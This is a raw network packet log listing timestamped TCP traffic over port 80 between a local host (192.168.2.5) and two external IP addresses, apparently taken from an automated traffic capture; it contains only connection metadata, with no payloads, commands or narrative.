Nov 27, 2022 04:36:38.376137972 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.376281023 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.376354933 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.405704975 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405738115 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405751944 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405782938 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405818939 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405854940 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.405894041 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406016111 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406074047 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406089067 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406285048 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406297922 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406311989 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406344891 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406425953 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406441927 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406455994 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406507969 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406522036 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406536102 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406630039 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406701088 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406749964 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406764030 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.406776905 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407052994 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407068014 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407160044 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407174110 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407186985 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407201052 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407215118 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407350063 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407363892 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407376051 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407432079 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407447100 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407461882 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407474995 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407488108 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407581091 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407596111 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407701015 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407737970 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407782078 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.407818079 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408003092 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408070087 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408082962 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408097029 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408655882 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408674002 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408689022 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408703089 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408715963 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408729076 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408741951 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408755064 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408767939 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408781052 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408793926 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408807039 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408818960 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408942938 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.408952951 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408967018 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.408981085 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409051895 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.409209967 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409223080 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409236908 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409276009 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409463882 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409499884 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409739971 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409754038 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409766912 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409780025 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409795046 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409831047 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409845114 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409918070 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.409991026 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410003901 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410075903 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410089970 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410145044 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410181046 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410237074 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410250902 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410306931 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410343885 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.410377979 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.412935972 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.438468933 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438518047 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438539028 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438549995 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438569069 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438580990 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438596964 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438616991 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438636065 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438653946 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438672066 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438688993 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438708067 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438726902 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438745022 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438764095 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438782930 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438801050 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438818932 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438838005 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438925982 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438947916 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.438965082 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439059973 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439078093 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439096928 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439115047 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439153910 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439202070 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439219952 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439237118 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439255953 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439274073 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439292908 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439311028 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439699888 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439732075 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439764977 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439781904 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439801931 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439819098 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.439836979 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442230940 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442267895 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442287922 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442306042 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442326069 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.442346096 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443214893 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443317890 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443372965 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443424940 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443480015 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443531990 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443592072 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443643093 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443691969 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443741083 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443790913 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443840027 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443890095 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443938971 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.443995953 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444046021 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444094896 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444144011 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444191933 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444241047 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444292068 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.444351912 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:39.149276972 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:39.150710106 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:39.180108070 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:39.365314007 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:39.595330954 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:39.612025023 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:39.612108946 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:39.843527079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.860927105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.861069918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.861573935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.878510952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893583059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893656015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893702030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893744946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893785954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893829107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893871069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893888950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.893889904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.893889904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.893913984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.893960953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894004107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894004107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.894046068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894067049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.894092083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894151926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.894223928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894268036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894309998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894334078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.894354105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.894637108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.895040989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895087004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895129919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895153999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.895174980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895242929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.895713091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895756006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895800114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895823956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.895844936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.895906925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.896527052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.896575928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.896616936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.896641970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.896660089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.896738052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.897351980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.897396088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.897450924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.911262035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911331892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911374092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911417961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911425114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.911461115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911483049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.911505938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911551952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911566019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.911601067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.911659002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.912175894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912220001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912261009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912276030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.912807941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912851095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912874937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.912895918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912938118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.912951946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.913630009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.913676977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.913693905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.913718939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.913762093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.913774967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.914407015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.914450884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.914465904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.914493084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.914535999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.914550066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.915227890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.915271997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.915290117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.915314913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.915358067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.915369034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.916029930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916074038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916115046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916141987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.916157961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916184902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.916841984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916887045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916918993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.916929960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.916973114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.917020082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.917659998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.917726040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.917841911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.917886019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.917927027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.917943954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.917969942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.918054104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.918663025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.918706894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.918747902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.918762922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.918793917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.918850899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.919512033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.919554949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.919599056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.919617891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.919641972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.919703960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.920280933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.920325041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.920367956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.920382023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.928735971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928782940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928822994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928847075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.928864956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928885937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.928909063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928951979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.928966045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.928996086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.929052114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.929904938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.929948092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.929990053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930006027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.930020094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930080891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.930632114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930675030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930716038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930740118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.930758953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930803061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.930819035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.931360006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.931422949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.931447029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.931489944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.931531906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.931555033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.931579113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.931638002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.932174921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.932220936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.932296991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.932337999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.932347059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.932379961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:39.932398081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:39.933815002 CET	80	49705	66.235.200.147	192.168.2.5
